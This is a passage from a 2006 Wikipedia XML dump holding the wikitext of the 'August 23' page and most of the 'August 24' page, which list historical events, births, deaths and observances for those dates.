[[pt:Aberdeen]]
[[ru:Эбердин (город)]]
[[sco:Aiberdeen]]
[[simple:Aberdeen]]
[[fi:Aberdeen]]
[[sv:Aberdeen]]</text>
    </revision>
  </page>
  <page>
    <title>August 23</title>
    <id>1628</id>
    <revision>
      <id>42162744</id>
      <timestamp>2006-03-04T05:58:02Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <minor />
      <comment>/* Fiction */ formatting</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=23}}
|}
'''[[August 23]]''' is the 235th day of the year in the Gregorian Calendar (236th in leap years), with 130 days remaining.

==Events==
*[[1305]] - [[William Wallace]] is executed. 
*[[1328]] - [[Battle of Kassel]]: French troops stop an uprising of Flemish farmers 
*1328 - King [[Philip VI of France]] is crowned. 
*[[1541]] - French explorer [[Jacques Cartier]] lands near Quebec City in his third voyage to Canada. 
*[[1566]] - Calvinists are granted rights in the Netherlands 
*[[1614]] - The [[University of Groningen]] is established 
*[[1617]] - In London, the first one-way street is established
*[[1651]] - [[Charles II of England]] enters [[Worcester]] and starts a battle.
*[[1784]] - [[Eastern Tennessee]] declares itself an independent state under the name of [[State of Franklin|Franklin]]; the step is rejected by Congress one year later
*[[1793]] - [[French Revolution]]: a [[levée en masse]] was decreed by the [[National Convention]].
*[[1799]] - [[Napoleon]] leaves [[Egypt]] for [[France]] en route to seize power 
*[[1813]] - At the [[Battle of Grossbeeren]],the Prussians under [[Von Bulow]]  repulse the French army.
*[[1821]] - [[Mexico]] gains its independence from [[Spain]]
*[[1833]] - [[Slavery]] abolished in the British colonies
*[[1839]] - The [[United Kingdom|UK]] captures [[Hong Kong]]
*[[1864]] - The Union Navy captures Fort Morgan, [[Alabama]], thus breaking [[Confederate States of America|Confederate]] dominance of all ports on the [[Gulf of Mexico]]
*[[1866]] - [[Austro-Prussian War]] ends with the [[Treaty of Prague]]
*[[1889]] - First [[radio|wireless]] message from a ship to the shore received.
*[[1896]] - First Cry of the [[Philippine Revolution]] is made in Pugad Lawin ([[Quezon City]]), in the province of [[Manila]]
*[[1904]] - The [[tire chain|automobile tire chain]] is patented.
*[[1914]] - [[Japan]] declares war on [[Germany]] and bombs [[Qingdao]], [[China]].
*[[1924]] - The distance between [[Earth]] and [[Mars (planet)|Mars]] is the smallest since the 10th century.
*[[1927]] - [[Italy|Italian]] [[anarchist]]s [[Sacco and Vanzetti]] are executed in [[Boston, Massachusetts]].
*[[1929]] - Arabs attack Jews in Israel
*[[1939]] - [[World War II]]: [[Germany]] and the [[Soviet Union]] sign a non-aggression treaty, the [[Molotov-Ribbentrop Pact]]. In a secret addition to the pact, [[Baltic states]], [[Finland]] and [[Poland]] are divided between the two nations.
*[[1940]] - World War II: The Germans start bombing [[London]].
*[[1942]] - World War II: Beginning of the [[Battle of Stalingrad]]
*[[1943]] - World War II: [[Kharkov]] liberated.
*[[1944]] - World War II: [[Marseille]] liberated.
*1944 - World War II: [[Michael of Romania|King Michael of Romania]] dismisses the pro-[[Nazi]] government of [[Ion Antonescu|General Antonescu]]. Romania switches sides from the Axis to the Allies.
*1944 - A [[United States Air Force|US Army Air Force]] B-24 Liberator bomber crashes into a school in [[Freckleton]], [[England]] killing 61 people.
*1944 - World War II: [[Ion Antonescu]], prime minister of [[Romania]], is arrested and a new gouverment is established. [[Romania]] exits the war against [[Russia]] joining the [[Allies]].
*[[1947]] - The Maynard Midgets beat Lock Haven 16-7 to win the first-ever [[Little League]] World Series championship.
*[[1948]] - [[World Council of Churches]] is formed.
*[[1952]] - The [[Arab League]] goes into effect.
*[[1958]] - [[Chinese Civil War]]: The [[Second Taiwan Strait crisis]] begins with the [[People's Liberation Army]]'s bombardment of [[Quemoy]].
*[[1960]] - In [[Equatorial Guinea]], the world's largest [[frog]] (3.3 kg) is caught.
*[[1962]] - First live [[television]] connection between the [[United States]] and [[Europe]], via the [[Telstar]] satellite.
*[[1966]] - [[Lunar Orbiter 1]] takes the first photograph of [[Earth]] from orbit around the [[Moon]].
*[[1968]] - [[Ringo Starr]] temporarily quits [[The Beatles]]
*[[1973]] - The [[Intelsat]] communication satellite is launched.
*[[1975]] - Successful [[Communism|Communist]] coup in [[Laos]]
*[[1976]] - A major [[earthquake]] in [[China]] kills thousands of people.
*[[1979]] - [[Soviet Union|Soviet]] dancer [[Alexander Godunov]] defects to the [[United States]].
*[[1985]] - [[Hans Tiedge]], top counter-spy of [[West Germany]], defects to [[East Germany]].
*[[1987]] - Heavy rains and floods in [[Bangladesh]] kill hundreds of victims.
*[[1989]] - [[Singing Revolution]]: two million people from [[Estonia]], [[Latvia]] and [[Lithuania]] stand on the Vilnius-Tallinn road, holding hands ([[Baltic way]]).
*1989 - All of [[Australia]]'s 1,645 domestic airline pilots resign after the airlines threaten to sack them and sue them over a dispute.
*[[1990]] - [[Saddam Hussein]] appears on Iraqi state television with a number of Western &quot;guests&quot; (actually hostages to try to prevent the [[Gulf War]]).
*1990 - [[Armenia]] declares its independence from the [[Soviet Union]].
*1990 - [[West Germany]] and [[East Germany]] announce that they will unite on [[October 3]].
*[[1992]] - [[Hurricane Andrew]] hits South [[Florida]].
*[[1996]] - [[Osama bin Laden]] issues message entitled 'A declaration of war against the Americans occupying the land of the two holy places'
*[[1998]] - That 70's Show pilot episode aired on the FOX T.V. Network
*[[2000]] - A [[Gulf Air]] [[Airbus A320]] crashes into the [[Persian Gulf]] near [[Manama, Bahrain]], killing 143
*2000 - [[Nicaragua]] becomes a member of the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] [[copyright]] [[treaty]].  This essentially [[deprecated]] the [[Buenos Aires Convention]] treaty, because as of this date, all members of the BA Convention were also signatories to Berne.
*[[2005]] - [[TANS Peru Flight 204]] crashes near [[Pucallpa]], [[Peru]], killing 41.

==Births==
*[[686]] - [[Charles Martel]], grandfather of [[Charlemagne]] (d. [[741]])
*[[1486]] - [[Sigismund von Herberstein]], Austrian diplomat and historian (d. [[1566]])
*[[1524]] - [[François Hotman]], French lawyer and writer (d. [[1590]])
*[[1623]] - [[Stanisław Lubieniecki]], Polish astronomer (d. [[1675]])
*[[1724]] - [[Abraham Yates]], American Continental Congressman (d. [[1796]])
*[[1741]] - [[Jean-François de Galaup, count de La Pérouse]], French explorer (d. [[1788]])
*[[1754]] - King [[Louis XVI of France]] (d. [[1792]])
*[[1769]] - [[Georges Cuvier]], French biologist and statesman (d. [[1832]])
*[[1783]] - [[William Tierney Clark]], English civil engineer (d. [[1852]])
*[[1785]] - [[Oliver Hazard Perry]], U.S. naval officer (d.[[1819]])
*[[1805]] - [[Anton von Schmerling]], Austrian statesman (d. [[1893]])
*[[1829]] - [[Moritz Cantor]], German mathematician (d.[[1920]])
*[[1847]] - [[Sarah Frances Whiting]], American physicist and astronomer (d. [[1927]])
*[[1849]] - [[William Ernest Henley]], British poet, critic, and editor (d. [[1903]])
*[[1852]] - [[Arnold Toynbee]], English economist and social reformer (d.[[1883]])
*[[1864]] - [[Eleftherios Venizalos]], [[Prime Minister of Greece]] (d.[[1936]])
*[[1869]] - [[Edgar Lee Masters]], American author (d. [[1950]])
*[[1875]] - [[William Eccles]], English radio pioneer (d. [[1966]])
*[[1880]] - [[Alexander Grin]], Russian writer (d. [[1932]])
*[[1883]] - [[Jonathan Mayhew Wainwright IV]], U.S. general (d. [[1953]])
*[[1884]] - [[Will Cuppy]], American humorist (d. [[1949]])
*[[1900]] - [[Ernst Krenek]], Austrian-born composer (d. [[1991]])
*[[1901]] - [[John Sherman Cooper]], U.S. Senator from Kentucky (d. [[1991]])
*[[1903]] - [[William Primrose]], Scottish violist (d. [[1982]])
*[[1905]] - [[Constant Lambert]], British composer (d. [[1951]])
*[[1911]] - [[Birger Ruud]], Norwegian athelete (d. [[1998]])
*[[1912]] - [[Gene Kelly]], American dancer and actor (d. [[1996]])
*[[1917]] - [[Tex Williams]], American singer (d. [[1985]])
*[[1921]] - [[Kenneth Arrow]], American economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner
*[[1922]] - [[George Kell]], baseball player
*[[1923]] - [[Edgar F. Codd]], English computer scientist (d. [[2003]])
*[[1924]] - [[Ephraim Kishon]], Israeli writer (d. [[2005]])
*1924 - [[Robert Solow]], American economist, [[Nobel Prize in Economics|Nobel Prize]] laureate
*[[1927]] - [[Dick Bruna]], Dutch illustrator
*[[1929]] - [[Vera Miles]], American actress
*[[1930]] - [[Michel Rocard]], [[Prime Minister of France]]
*[[1931]] - [[Hamilton O. Smith]], American microbiologist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1932]] - [[Houari Boumedienne]], [[President of Algeria]] (d. [[1978]])
*1932 - [[Mark Russell]], American comedian, musician, and political commentator
*[[1933]] - [[Robert Curl]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*1933 - [[Pete Wilson]], Governor of California
*[[1934]] - [[Barbara Eden]], American actress
*1934 - [[Sonny Jurgensen]], American football player
*[[1936]] - [[Henry Lee Lucas]], American serial killer (d. [[2001]])
*[[1943]] - [[Nelson DeMille]], American novelist
*[[1947]] - [[Keith Moon]], English singer and drummer ([[The Who]]) (d. [[1978]])
*[[1947]] - [[David Robb]], British actor
*[[1949]] - [[Shelley Long]], American actress
*1949 - [[Rick Springfield]], Australian singer and actor
*[[1951]] - [[Akhmad Kadyrov]], President of Chechnya (d. [[2004]])
*1951 - [[Queen Noor]] of Jordan
*[[1952]] - [[Vicky Leandros]], Greek singer
*[[1953]] - [[Bobby G]], British singer ([[Bucks Fizz]])
*[[1956]] - [[Andreas Floer]], German mathematician (d. [[1991]])
*[[1963]] - [[Hans-Henning Fastrich]], German field hockey player 
*1963 - [[Kenny Wallace]], American race car driver
*[[1965]] - [[Roger Avary]], Academy Award Winning writer/director/producer
*[[1966]] - [[Rik Smits]], Dutch basketball player
*[[1969]] - [[Keith Tyson]], Turner prize-winning English artist
*1969 - [[Jeremy Schaap]], American sportswriter
*[[1970]] - [[Jay Mohr]], American actor and comedian
*1970 - [[River Phoenix]], American actor (d. [[1993]])
*1970 - [[Fred Durst]], American singer
*[[1974]] - [[Ray Park]], British actor
*[[1975]] - [[Eliza Carthy]], English singer and fiddler
*[[1978]] - [[Kobe Bryant]], American basketball player
*1978 - [[Julian Casablancas]], American musician
*[[1982]] - [[Natalie Coughlin]], American olympic swimmer
*[[1982]] - [[YTCracker]], American musician
*[[1984]] - [[Glen Johnson (footballer)|Glen Johnson]], English footballer
*[[1988]] - [[Niki Leinso]], Croatian singer and songwriter

==Deaths==
*[[93]] - [[Gnaeus Julius Agricola]], Roman Governor of Britain (b. [[40]])
*[[634]] - [[Abu Bakr]], Arabian caliph
*[[1176]] - [[Emperor Rokujo]] of Japan (b. [[1164]])
*[[1305]] - [[William Wallace]], Scottish patriot (executed)
*[[1387]] - King [[Olav IV of Norway]] (b. [[1370]])
*[[1507]] - [[Jean Molinet]], French writer (b. [[1435]])
*[[1519]] - [[Philibert Berthelier]], Swiss patriot
*[[1540]] - [[Guillaume Budé]], French scholar
*[[1591]] - [[Luis Ponce de León]], Spanish poet and mystic (b. [[1527]])
*[[1618]] - [[Gerbrand Adriaensz Bredero]], Dutch writer (b. [[1585]])
*[[1628]] - [[George Villiers, 1st Duke of Buckingham]], English statesman (b. [[1592]])
*[[1723]] - [[Increase Mather]], New England Puritan minister (b. [[1639]])
*[[1618]] - [[Gerbrand Adriaensz Bredero]], Dutch writer (b. [[1585]])
*[[1652]] - [[John Byron, 1st Baron Byron]], English royalist politician (b. [[1600]])
*[[1806]] - [[Charles Augustin de Coulomb]], French physicist (b. [[1736]])
*[[1813]] - [[Alexander Wilson]], Scottish-born ornithologist (b. [[1766]]) 
*[[1819]] - [[Oliver Hazard Perry]], American naval officer (b. [[1785]])
*[[1866]] - [[Auguste Barthelemy]], French poet (b. [[1796]])
*[[1926]] - [[Rudolph Valentino]], Italian actor (b. [[1895]])
*[[1927]] - [[Nicola Sacco]], Italian anarchist (executed) (b. [[1891]])
*1927 - [[Bartolomeo Vanzetti]], Italian anarchist (executed) (b. [[1888]])
*[[1937]] - [[Albert Roussel]], French composer (b. [[1869]])
*[[1955]] - [[Reginald Tate]], British actor (b. [[1896]])
*[[1960]] - [[Oscar Hammerstein II]], American lyricist (b. [[1895]])
*[[1962]] - [[Walter Anderson]], German folklorist (b. [[1885]])
*1962 - [[Hoot Gibson]], American actor (b. [[1892]])
*[[1966]] - [[Francis X. Bushman]], American actor (b. [[1883]])
*[[1974]] - [[Roberto Assagioli]], Italian psychiatrist (b. [[1888]])
*[[1982]] - [[Stanford Moore]], American biochemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1913]])
*[[1997]] - [[John Kendrew]], British molecular biologist, recipient of the [[Nobel Prize in Chemistry]] (b. [[1917]])
*[[1999]] - [[James White (author)|James White]], Northern Irish science fiction writer (b. [[1928]])
*[[2001]] - [[Peter Maas]], American novelist (b. [[1929]])
*[[2002]] - [[Hoyt Wilhelm]], baseball player (b. [[1922]])
*[[2003]] - [[Imperio Argentina]], Argentine singer and actress (b. [[1906]])
*2003 - [[Bobby Bonds]], baseball player and manager (b. [[1946]]) 
*2003 - [[Jack Dyer]], Australian footballer (b. [[1913]])
*2003 - [[John Geoghan]], American Catholic priest
*[[2005]] - [[Brock Peters]], American actor (b. [[1927]])

==Holidays and observances==
*[[Roman festivals]] - [[Vulcanalia]]
*[[Calendar of Saints|RC Saints]] - [[Saint Rose of Lima]]
*[[Romania]] - [[Liberation Day]] ([[1944]])
*[[Swaziland]] - [[Umhlanga Day]]
*[[Astrology]] - First day of sun sign [[Virgo]]

== Fiction ==
*[[Squall Leonhart]]'s birthday (from [[Final Fantasy VIII]]).
*[[Temari (Naruto)|Temari's]] birthday (from [[Naruto]]).

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/23 BBC: On This Day]

----

[[August 22]] - [[August 24]] - [[July 23]] - [[September 23]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:23 Augustus]]
[[ar:23 أغسطس]]
[[an:23 d'agosto]]
[[ast:23 d'agostu]]
[[bg:23 август]]
[[be:23 жніўня]]
[[bs:23. august]]
[[ca:23 d'agost]]
[[ceb:Agosto 23]]
[[cv:Çурла, 23]]
[[co:23 d'aostu]]
[[cs:23. srpen]]
[[cy:23 Awst]]
[[da:23. august]]
[[de:23. August]]
[[et:23. august]]
[[el:23 Αυγούστου]]
[[es:23 de agosto]]
[[eo:23-a de aŭgusto]]
[[eu:Abuztuaren 23]]
[[fo:23. august]]
[[fr:23 août]]
[[fy:23 augustus]]
[[ga:23 Lúnasa]]
[[gl:23 de agosto]]
[[ko:8월 23일]]
[[hr:23. kolovoza]]
[[io:23 di agosto]]
[[id:23 Agustus]]
[[ia:23 de augusto]]
[[ie:23 august]]
[[is:23. ágúst]]
[[it:23 agosto]]
[[he:23 באוגוסט]]
[[jv:23 Agustus]]
[[ka:23 აგვისტო]]
[[csb:23 zélnika]]
[[ku:23'ê gelawêjê]]
[[lt:Rugpjūčio 23]]
[[lb:23. August]]
[[hu:Augusztus 23]]
[[mk:23 август]]
[[ms:23 Ogos]]
[[nap:23 'e aùsto]]
[[nl:23 augustus]]
[[ja:8月23日]]
[[no:23. august]]
[[nn:23. august]]
[[oc:23 d'agost]]
[[pl:23 sierpnia]]
[[pt:23 de Agosto]]
[[ro:23 august]]
[[ru:23 августа]]
[[sco:23 August]]
[[sq:23 Gusht]]
[[scn:23 di austu]]
[[simple:August 23]]
[[sk:23. august]]
[[sl:23. avgust]]
[[sr:23. август]]
[[fi:23. elokuuta]]
[[sv:23 augusti]]
[[tl:Agosto 23]]
[[tt:23. August]]
[[te:ఆగష్టు 23]]
[[th:23 สิงหาคม]]
[[vi:23 tháng 8]]
[[tr:23 Ağustos]]
[[uk:23 серпня]]
[[wa:23 d' awousse]]
[[war:Agosto 23]]
[[zh:8月23日]]
[[pam:Agostu 23]]</text>
    </revision>
  </page>
  <page>
    <title>August 24</title>
    <id>1629</id>
    <revision>
      <id>42102153</id>
      <timestamp>2006-03-03T21:13:07Z</timestamp>
      <contributor>
        <username>Squideshi</username>
        <id>202826</id>
      </contributor>
      <comment>/* Events */ Treaty with the Ottawa, etc.</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=24}}
|}
'''[[August 24]]''' is the 236th day of the year in the [[Gregorian Calendar]] (237th in leap years), with 129 days remaining.

==Events==
* [[49 BC]] - [[Julius Caesar]]'s general Gaius Curio is defeated in the [[Second Battle of the Bagradas River]] by the [[Numidians]] under Attius Varus and King Juba of [[Numidia]]. Curio is slain in battle. 
* AD [[79]] - [[Mount Vesuvius]] erupts. The cities of [[Pompeii]], [[Herculaneum]], and [[Stabiae]] are buried in volcanic ash.
* [[410]] - The [[Visigoths]] under [[Alaric I|Alaric]] sack [[Rome]] for three days.
* [[1215]] - [[Pope Innocent III]] declares the [[Magna Carta]] invalid.
* [[1349]] - Six thousand Jews are killed in [[Mainz]] because they are blamed for the [[bubonic plague]].
* [[1391]] - Jews massacred in [[Palma de Mallorca]].
* [[1456]] - The printing of the [[Gutenberg Bible]] is completed.
* [[1511]] - [[Alfonso de Albuquerque]] of [[Portugal]] conquers the [[Sultanate of Malacca]].
* [[1572]] - [[Saint Bartholomews Day Massacre|Saint Bartholomew's Day Massacre]]: On the orders of king [[Charles IX of France]], a massacre of [[Huguenot]]s (French [[Protestant]]s) begins.
* [[1608]] - The first official British representative to [[India]] lands in [[Surat]].
* [[1662]] - [[Act of Uniformity]] requires [[England]] to accept the [[Book of Common Prayer]].
* [[1682]] - [[William Penn]] receives the area that is now the state of [[Delaware]], and adds it to his colony of [[Pennsylvania]].
* [[1690]] - [[Kolkata|Calcutta]], [[India]] is founded.
* [[1814]] - British troops invade [[Washington, D.C.]] and burn down the [[White House]] and several other buildings.
* [[1816]] - The [[Treaty with the Ottawa, etc.]] is signed in [[Saint Louis, Missouri|St. Louis]], [[Missouri]].
* [[1821]] - The [[Treaty of Córdoba]] is signed in [[Córdoba, Veracruz|Córdoba]], now in [[Veracruz (state)|Veracruz]], [[Mexico]], concluding the [[Mexican War of Independence]] from [[Spain]].
* [[1831]] - [[Charles Darwin]] is asked to travel on [[HMS Beagle|HMS ''Beagle'']].
* [[1847]] - [[Charlotte Brontë]] finishes ''Jane Eyre''.
* [[1853]] - [[Potato chips]] are first prepared.
* [[1857]] - The [[Panic of 1857]] begins, setting off one of the most severe economic crises in U.S. history.
* [[1858]] - In [[Richmond, Virginia]], 90 blacks are arrested for learning.
* [[1891]] - [[Thomas Edison]] patents the motion picture camera.
* [[1909]] - Workers start pouring concrete for the [[Panama Canal]].
* [[1912]] - [[Alaska]] becomes a [[United States]] territory.
* [[1914]] - [[World War I]]: German troops capture [[Namur (city)|Namur]].
* [[1929]] - [[Turkey]] and [[Iran|Persia]] sign a friendship treaty.
* 1929 - [[Riots in Palestine of 1929]]: 18 Jews in Safed, 67 in Hebron, and 22 in Jerusalem killed by Arab Palestinians
* [[1931]] - [[France]] and the [[Soviet Union]] sign a neutrality/no attack treaty.
*[[1931]] - Resignation of the [[United Kingdom]]'s [[Second Labour Government]]. Formation of the [[UK National Government]].
* [[1932]] - [[Amelia Earhart]] is the first woman to fly across the [[United States]] non-stop (from [[Los Angeles, California|Los Angeles]] to [[Newark, New Jersey]]).
* [[1936]] - The [[Australian Antarctic Territory]] is created.
* [[1942]] - [[World War II]]: The [[Battle of the East Solomon Islands]].  [[Japan]]ese [[aircraft carrier]] ''[[Ryuho]]'' is sunk.
* [[1944]] - World War II: French and Allied troops start the attack on [[Paris]].
* [[1949]] - The treaty creating [[NATO]] goes into effect.
* [[1950]] - [[Edith Sampson]] becomess the first black U.S. delegate to the [[UN]].
* [[1954]] - The [[Communist Control Act]] goes into effect. The [[American Communist Party]] is outlawed.
* [[1954]] - [[Getúlio Dornelles Vargas]], president of Brazil, commit suicide and is succeeded by [[João Café Filho]].
* [[1960]] - A temperature of &amp;minus;88°C (&amp;minus;127°F) is measured in [[Vostok, Antarctica|Vostok]], [[Antarctica]] &amp;mdash; a world-record low.
* [[1963]] - The 200-metre freestyle is swum in less than 2 minutes for the first time by [[Don Schollander]] (1:58).
* [[1967]] - Led by [[Abbie Hoffman]], a group of [[hippies]] temporarily disrupt trading at the [[NYSE]] by throwing dollar bills from the viewing gallery, causing a cease in trading as the brokers scramble to grab them up.
* [[1968]] - [[France]] explodes its first [[hydrogen bomb]], thus becoming the world's fifth nuclear power.
* [[1971]] - [[Pink Floyd]] performs their most famous concert, in an abandoned Pompeii amphitheatre on the 1892nd anniversary of the infamous disappearance of Pompeii.
* [[1979]] - In [[Central Park]], [[New York]] a concert is given by [[The Cars]].
* [[1981]] - [[Mark David Chapman]] is sentenced to 20 years to life in prison for murdering [[John Lennon]].
* [[1989]] - [[Colombia]]n drug barons declare &quot;total war&quot; on the Colombian government.
* 1989 - [[Cincinnati Reds]] manager [[Pete Rose]] is banned from [[baseball]] for gambling by Commissioner [[A. Bartlett Giamatti]]
* 1989 - [[Voyager 2]] passes [[Neptune (planet)|Neptune]].
* [[1990]] - A judge rules that [[Judas Priest]] are not responsible for the deaths of two youths who committed [[suicide]] after listening to the band's music.
* 1990 - [[Sinéad O'Connor]] refuses to perform at the Garden State Arts Plaza in [[Holmdel, New Jersey]] if &quot;[[The Star-Spangled Banner]]&quot; is played before her show, as is customary.
* [[1991]] - [[Mikhail Gorbachev]] resigns as head of the [[Communist Party of the Soviet Union]].
* 1991 - [[Ukraine]] declares itself independent from the [[Soviet Union]].
* [[1992]] - Diplomatic relations are established between the [[People's Republic of China]] and [[South Korea]].
* 1992 - [[Hurricane Andrew]] hits [[South Florida]].
* [[1994]] - Initial accord between [[Israel]] and the [[PLO]] about partial self-rule of the [[Palestinian]]s on the [[West Bank]].
* [[1995]] - [[Windows 95]] is released.
* [[1998]] - The [[Netherlands]] is selected as the site for the trial of the two [[Libya]]n suspects of the 1988 PanAm bombing.
* [[2001]] - [[Air Transat Flight 236]] runs out of fuel over the Atlantic Ocean (en route to Lisbon from New York) and makes an emergency landing in the Azores.
* [[2004]] - Two airliners in [[Russia]], carrying a total of 89 passengers, crash within minutes of each other after flying out of [[Domodedovo International Airport]], near [[Moscow]], leaving no survivors. Authorities suspect suicide attacks by rebels from the breakaway republic of [[Chechnya]] to be the cause of the crashes.

==Births==
* [[1113]] - [[Geoffrey of Anjou|Geoffrey Plantagenet]], Count of Anjou (b. [[1113]])
* [[1198]] - King [[Alexander II of Scotland]] (d. [[1249]])
* [[1358]] - King [[John I of Castile]] (d. [[1390]])
* [[1393]] - [[Arthur III, Duke of Brittany]] (d. [[1458]])
*[[1552]] - [[Lavinia Fontana]], Italian painter (d. [[1614]])
*[[1580]] - [[John Taylor (poet)|John Taylor]], English poet (d. [[1654]])
* [[1591]] - [[Robert Herrick (poet)|Robert Herrick]], English poet (d. [[1674]])
* [[1635]] - [[Peder Griffenfeld]], Danish statesman (d. [[1699]])
* [[1669]] - [[Alessandro Marcello]], Italian composer (d. [[1747]])
* [[1759]] - [[William Wilberforce]], English campaigner against slavery (d. [[1833]])
* [[1772]] - King [[William I of the Netherlands]] (1814-1840)
* [[1787]] - [[James Weddell]], Antarctica explorer (d. [[1834]])
* [[1817]] - [[Aleksey Konstantinovich Tolstoy]], Russian writer (d. [[1875]])
* [[1837]] - [[Théodore Dubois]], French composer and teacher (d. [[1924]])
* [[1852]] - [[Deacon White]], baseball player (d. [[1919]])
* [[1863]] - [[Dragutin Lerman]], Croatian explorer (d. [[1918]])
* [[1865]] - King [[Ferdinand I of Romania]] (d. [[1927]])
* [[1880]] - [[Joshua Lionel Cowen]], American inventor and entrepreneur (d. [[1965]])
* [[1884]] - [[Earl Derr Biggers]], American author (d. [[1933]])
* [[1887]] - [[Harry Hooper]], baseball player (d. [[1974]])
* [[1890]] - [[Duke Kahanamoku]], Hawaiian swimmer and surfer (d. [[1968]])
* 1890 - [[Jean Rhys]], Dominican writer (d. [[1979]])
* [[1898]] - [[Malcolm Cowley]], American literary critic, writer, and editor (d. [[1989]])
* [[1899]] - [[Jorge Luis Borges]], Argentine writer (d. [[1986]])
* [[1901]] - [[Preston Foster]], American actor (d. [[1970]])
* [[1904]] - [[Alice White]], American film actress (d. [[1983]])
* [[1915]] - [[James Tiptree, Jr.]], American writer (d. [[1987]])
* [[1916]] - [[Hal Smith (actor)|Hal Smith]], American actor and voice actor (d. [[1994]])
*[[1922]] - [[René Lévesque]], Premier of Quebec (d. [[1987]])
*[[1923]] - [[Arthur Jensen]], American psychologist
*[[1927]] - [[Harry Markowitz]], American economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner
*[[1929]] - [[Yasser Arafat]], Palestinian leader, recipient of the [[Nobel Peace Prize]] (d. [[2004]])
*[[1934]] - [[Kenny Baker]], English actor
*[[1936]] - [[A. S. Byatt]], English novelist
*[[1938]] - [[Halldór Blöndal]], Icelandic politician
*1938 - [[David Freiberg]], American bassist ([[Quicksilver Messenger Service]] and [[Jefferson Starship]])
*[[1943]] - [[John Cipollina]], American guitarist ([[Quicksilver Messenger Service]]) (d. [[1989]])
*[[1944]] - [[Jim Capaldi]], British drummer, singer, and songwriter ([[Traffic]]) (d. [[2005]])
*[[1945]] - [[Ken Hensley]], English musician ([[Uriah Heep (band)|Uriah Heep]])
*1945 - [[Vince McMahon]], American professional wrestling entrepreneur
*[[1947]] - [[Paulo Coelho]], Brazilian author
*[[1948]] - [[Jean-Michel Jarre]], French musician
*[[1951]] - [[Orson Scott Card]], American novelist
*[[1954]] - [[Libby Mooney]],British Science educator
*[[1956]] - [[John Culberson]], American politician
*[[1957]] - [[Stephen Fry]], English comedian, author, and actor 
*[[1958]] - [[Steve Guttenberg]], American actor
*[[1958]] - [[Tracy Harris]], American artist
*[[1960]] - [[Cal Ripken, Jr.]], baseball player
*[[1962]] - [[Craig Kilborn]], American talk show host
*1962 - [[David Koechner]], American actor
*[[1963]] - [[John Bush]], American singer ([[Anthrax (band)|Anthrax]])
*1963 - [[Hideo Kojima]], Japanese video game director
*[[1964]] - [[Salizhan Sharipov]], cosmonaut
*[[1965]] - [[Marlee Matlin]], American actress
*1965 - [[Reggie Miller]], American basketball player
*[[1968]] - [[Shoichi Funaki]], Japanese professional wrestler
*1968 - [[Andreas Kisser]], Brazilian guitarist ([[Sepultura]])
*[[1973]] - [[David Chappelle]], American actor and comedian
*1973 - [[Inge de Bruijn]], Dutch swimmer
*1973 - [[Carmine Giovinazzo]], American actor
*[[1974]] - [[Jennifer Lien]], American actress
*[[1978]] - [[Rafael Furcal]], Dominican [[Major League Baseball]] player
*[[1981]] - [[Chad Michael Murray]], American actor
*[[1983]] - [[Christopher Parker]], British actor
*[[1988]] - [[Rupert Grint]], English actor

==Deaths==
*[[79]] - [[Pliny the Elder]], Roman writer and naturalist (b. [[23]])
*[[1042]] - [[Michael V]], [[Byzantine Emperor]]) (b. [[1015]])
*[[1103]] - King [[Magnus III of Norway]] (b. [[1073]])
*[[1217]] - [[Eustace the Monk]], French mercenary and pirate
*[[1540]] - [[Girolamo Francesco Maria Mazzola]], Italian painter (b. [[1503]])
*[[1542]] - [[Gasparo Contarini]], Italian diplomat and cardinal (b. [[1483]])
*[[1572]] - Victims of the St. Bartholomew's Day Massacre:
** [[Gaspard de Coligny]], French Huguenot leader (b. [[1519]])
** [[Petrus Ramus|Pierre de la Ramée]], French humanist (b. [[1515]])
** [[Charles de Téligny]], French Huguenot soldier
*[[1595]] - [[Thomas Digges]], English astronomer (b. [[1546]])
*[[1647]] - [[Nicholas Stone]], English sculptor and architect (b. [[1586]])
*[[1664]] - [[Maria Cunitz]], Silesian astronomer
*[[1679]] - [[Jean François Paul de Gondi, cardinal de Retz]], French churchman and agitator (b. [[1614]])
*[[1680]] - [[Thomas Blood]], Irish-born thief of the British crown jewels (b. [[1618]])
*[[1683]] - [[John Owen (theologian)|John Owen]], English non-conformist theologian (b. [[1616]])
*[[1759]] - [[Ewald Christian von Kleist]], German poet (b. [[1715]])
*[[1779]] - [[Kosmas Aitolos]], Greek Orthodox martyr (b. [[1714]])
*[[1831]] - [[August von Gneisenau]], Prussian field marshal (b. [[1760]])
*[[1832]] - [[Nicolas Léonard Sadi Carnot]], French mathematician (b. [[1796]])
*[[1888]] - [[Rudolf Clausius]], German physicist (b. [[1822]])
*[[1921]] - [[Nikolay Gumilyov]], Russian poet (b. [[1886]])
*[[1841]] - [[Theodore Edward Hook]], English author (b. [[1788]])
*[[1940]] - [[Paul Gottlieb Nipkow]], German television pioneer (b. [[1860]])
*[[1946]] - [[James Clark McReynolds]], U.S. Supreme Court justice (b. [[1862]])
*[[1954]] - [[Getúlio Vargas]], [[President of Brazil]] (b. [[1882]])
*[[1956]] - [[Kenji Mizoguchi]], Japanese film director (b. [[1898]])
*[[1958]] - [[Paul Henry (painter)|Paul Henry]], Northern Irish artist (b. [[1876]])
*[[1967]] - [[Henry J. Kaiser]], American industrialist (b. [[1882]])
*[[1975]] - [[Eamon de Valera]], [[President of Ireland]] (b. [[1882]])
*[[1978]] - [[Louis Prima]], American band leader (b. [[1910]])
*[[1979]] - [[Hanna Reitsch]], German pilot (b. [[1912]])
*[[1985]] - [[Paul Creston]], American composer (b. [[1906]])
*[[1990]] - [[Sergei Dovlatov]], Russian writer (b. [[1941]])
*[[1991]] - [[Bernard Castro]], Italian inventor (b. [[1904]])
*[[1995]] - [[Alfred Eisenstaedt]], German-born photographer (b. [[1898]])
